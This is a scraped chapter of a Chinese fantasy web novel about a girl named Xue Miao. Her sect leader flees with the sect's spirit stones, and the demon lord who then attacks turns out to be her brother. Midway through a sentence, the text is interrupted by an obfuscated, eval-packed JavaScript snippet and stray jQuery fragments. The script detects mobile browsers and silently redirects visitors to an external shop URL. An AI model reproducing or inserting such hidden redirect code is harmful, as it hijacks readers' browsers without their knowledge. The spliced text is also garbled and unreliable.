文趣网 > 其他小说 > 兄长入魔后住进了我的身体 > 4. 兄妹相见
    就在薛渺即将坠入梦乡的那一刻,脸上忽然传来一阵毛茸茸的触感。

    薛渺没睁眼。

    这手感,她闭着眼睛都能猜到是谁。

    “渺渺,你快别睡了。”小鼠蹲在她枕头边,小爪子扒拉着她的头发。

    薛渺翻了个身,把脸埋进被子里,含糊不清地嘟囔:“……小鼠,你怎么回来了?”

    “你快去外面看看!”小鼠的声音又急又尖,爪子扯着她的辫子往外拽。

    薛渺拗不过它,只得打着哈欠爬起来,揉着眼睛推开了房门。

    下一刻,她愣住了。

    那个哈欠打到一半,嘴就这么张着,半天合不上。

    外面灯火通明,亮得跟白天似的。一车一车的东西正从里面往外运,车上堆得满满当当,各种她说不出名字但一看就很值钱的玩意儿。

    拉车的鸾鸟迈着优雅的步子,拖着一长串车队,正往山门的方向缓缓移动。

    而坐在最前面那辆鸾车上的,赫然是今天在台上发表讲话的掌门。

    薛渺抬起手,指着那个方向,声音都变了调:“这……这是怎么回事?!”

    隔壁屋子的门也开了。一个师姐走出来,正是白天晕倒的那个。她瞥了薛渺一眼,打了个哈欠,语气懒洋洋的:“你傻啊?谁不知道我们七星派就是个野鸡宗门?”

    薛渺呆了呆:“……”

    “掌门说的那些话,你听听就是了,就当他是放了个屁。”师姐说完,转身就要回去继续睡。

    可还没等她进屋,另一边的门又开了。

    这回走出来的师姐手里提着剑,脸上带着一股肃杀之气,眼神锐利得像要把人千刀万剐。她盯着那一长串车队,咬牙切齿道:“这不要脸的老东西,居然敢先一步卷走我们宗门的灵石?休想!”

    说完,她提剑就冲了出去。

    场面瞬间乱了。

    薛渺站在自己寝房门口,就这么呆呆地看着外面打成一团。

    有人干脆趁火打劫浑水摸鱼。喊叫声和咒骂声混在一起,火光映红了半边天,好几辆鸾车被掀翻在地,灵石滚得到处都是。

    一块烧着的碎木屑飘过来,落在薛渺脚边,溅起几点火星。

    她低头看了一眼,又抬起头,看了一会儿那混乱的场面,忽然伸手,用力捏了捏自己的脸。

    疼的。

    她松了口气。

    “小鼠。”她低下头,声音平静得可怕,“方才那位师姐说,这是什么地方?”

    千面鼠趴在她肩头,老老实实地答:“她说七星派。”

    “什么门?”

    “没有门。”

    薛渺闭上眼睛,深吸一口气。

    这次她彻底心如死灰了。

    掌门都卷款跑路了,她这种小虾米还留着干什么?等着给魔头送人头吗?

    首要之急是下山。

    再找到小驴。

    一想到这个,薛渺就忍不住抬手给了自己脑门一巴掌。她怎么能把小驴独自放在山下?小驴虽然脾气差,还动不动就尥蹶子,但好歹是她的驴啊!

    尤其是它还长得如此貌美!

    “小鼠,我们走。”

    “去哪?”

    薛渺睁开眼,看着远处那片火光,语气坚定:“下山。”

    小鼠感动了。它觉得它终于找对了主人。虽然这主人脑子不太灵光,但起码讲义气,知道跑路的时候带上它。

    可这感动还没来得及表达,天上就传来一道声音。

    那声音不高,甚至可以说是漫不经心的,却自带回声效果,在整个七星派上空悠悠荡荡地传了三遍。

    “现在想走?晚了。”

    一时间,所有人都安静了。

    那种安静很可怕,像是一盆冷水兜头浇下来,把刚才那点混乱和叫骂全都浇灭了。紧接着,恐慌像野火一样烧起来,比刚才的火光还猛。

    “魔头来了!”

    “救命啊!魔头打上门来了!”

    那原本已经快跑没影的鸾车,忽然从天上又飞了回来,稳稳当当落在演武场正中央。

    掌门从车上下来,依旧是那副威严的模样,身后跟着几位长老,站成一排。

    “诸位莫慌。”掌门的声音还是那么沉稳有力,袖子一挥,“我们会出手。”

    薛渺躲在假山后面,听到这话,差点没忍住笑出声。

    就你?刚才还在逃跑呢。

    护山大阵确实没撑住。脆得像一张纸,一捅就破。

    连一盏茶的时间都不到。

    但这一盏茶的时间,刚好够薛渺从寝房那边一路狂奔,躲到这假山后头。

    她趴在那儿,屏住呼吸,从石头缝里往外看。

    长老们冲了上去,又像秋风扫落叶一样,被扫了下来。

    薛渺仔细找了找,没看到带她上山的长老。

    接着她看见那道原本立在天上的身影踏空而来,落在了演武场上。

    他背对着她。

    薛渺看不见他的脸,只能看见一个背影。高大,挺拔,月光在他身上镀了一层冷白的边。

    她盯着那个背影,忽然觉得有点眼熟。

    很眼熟。

    底下的掌门和长老被威压压得直不起身,却还在骂。

    “你这祸星,我做鬼也不会放过你的!”

    魔头没什么反应,就那么站着,默默地看着他们骂。那姿态,怎么说呢……像是在看一群蚂蚁在脚底下乱爬,既不生气,也不在意,甚至有点无聊。

    掌门被骂得脸上挂不住,又摆出那副体面人的样子,回头安抚弟子:“孩子们,不要自乱阵脚!且等我出手!”

    话音刚落,不知从哪儿飞过来几根烂菜叶,啪叽一声拍在他脸上。

    掌门悻悻地笑了笑,退到几位长老身后。

    魔头忽然笑了一声,似是被他逗乐。

    那笑声很轻,在满场恐慌和叫骂里几乎

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500664|202713||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    听不见,但薛渺听见了。

    鬼使神差的,她又把眼睛凑到石头缝那儿,偷瞄了一眼。

    只一眼。

    满天烟火中,那张脸俊美而苍白,眉眼间带着一股挥之不去的桀骜之气,嘴角微微勾起,像是在嘲笑。

    薛渺:“……”

    她愣在那儿,脑子空白了三秒。

    那张脸,越看越像她那位脑子有病的蛇精病哥哥。

    魔头又开口了。这回他说的是正事。

    “交出焚天幡,便饶你们不死。”

    声音懒懒散散的,像是不太想说话,但又不得不说。

    薛渺没听清他说什么。

    她满脑子只有一个念头:完蛋。

    还真是她哥。

    她脑子里嗡嗡作响,什么都听不见了。掌门和长老们还在骂什么,弟子们还在哭什么,都不重要了。

    重要的是她得赶紧跑。

    再不跑,她就要和底下那群人一样,直挺挺躺在那儿了。

    于是她开始往后挪。

    蹑手蹑脚,蹑手蹑脚,一点一点,挪得比蜗牛还慢。她不敢起身,怕被看见,只能四肢并用,像一条毛毛虫,一点一点往山门的方向蹭。

    眼看就要挪出假山的阴影了,身后忽然传来一个声音。

    “薛渺,你终于开窍了!”

    那声音里满是欣慰,还带着几分夸奖的意味。

    薛渺僵住了。

    她缓缓转过头,看见方才那位师姐正站在不远处,脸上带着真诚的笑容,朝她竖起大拇指。

    “薛渺”两个字一出,她就知道完了。

    一道视线落下来,不轻不重,把她钉在原地。

    那视线从远处投来,越过火光,越过人群,越过假山,落在她的后背上。

    薛渺有强烈的预感,如果她现在回头,一定会和那该死的家伙对视上。

    可恶!!!

    她在心里无能狂怒,脸上却换上一副悲怨的表情,幽幽地看着那位师姐。

    师姐,你知不知道,我要死掉了呀?

    “哭什么?”师姐根本不知道她在想什么,大步走过来,一把抓住她的手,“跟师姐一起出去,师姐带你混。”

    薛渺咬了咬牙,从牙缝里挤出一句话:“好,多谢师姐。”

    她刚要迈步,整个人忽然僵住了。

    一道术法从天而降,像一个无形的圈,把她牢牢圈在里面。然后,她的身体不受控制地往后飞去。

    薛渺放弃了挣扎。

    死到临头,她最后能做的一件事,就是拼尽全力把千面鼠从肩头扯下来,用力往外一扔。

    “小鼠。”她悲壮地说,“从今天起,你自由了。”

    小鼠在半空中划出一道优美的弧线,消失在夜色里。

    与此同时,薛槐的声音从远处传来,懒洋洋的,带着点笑意。

    “渺渺,见到哥哥了,也不知道过来打个招呼?”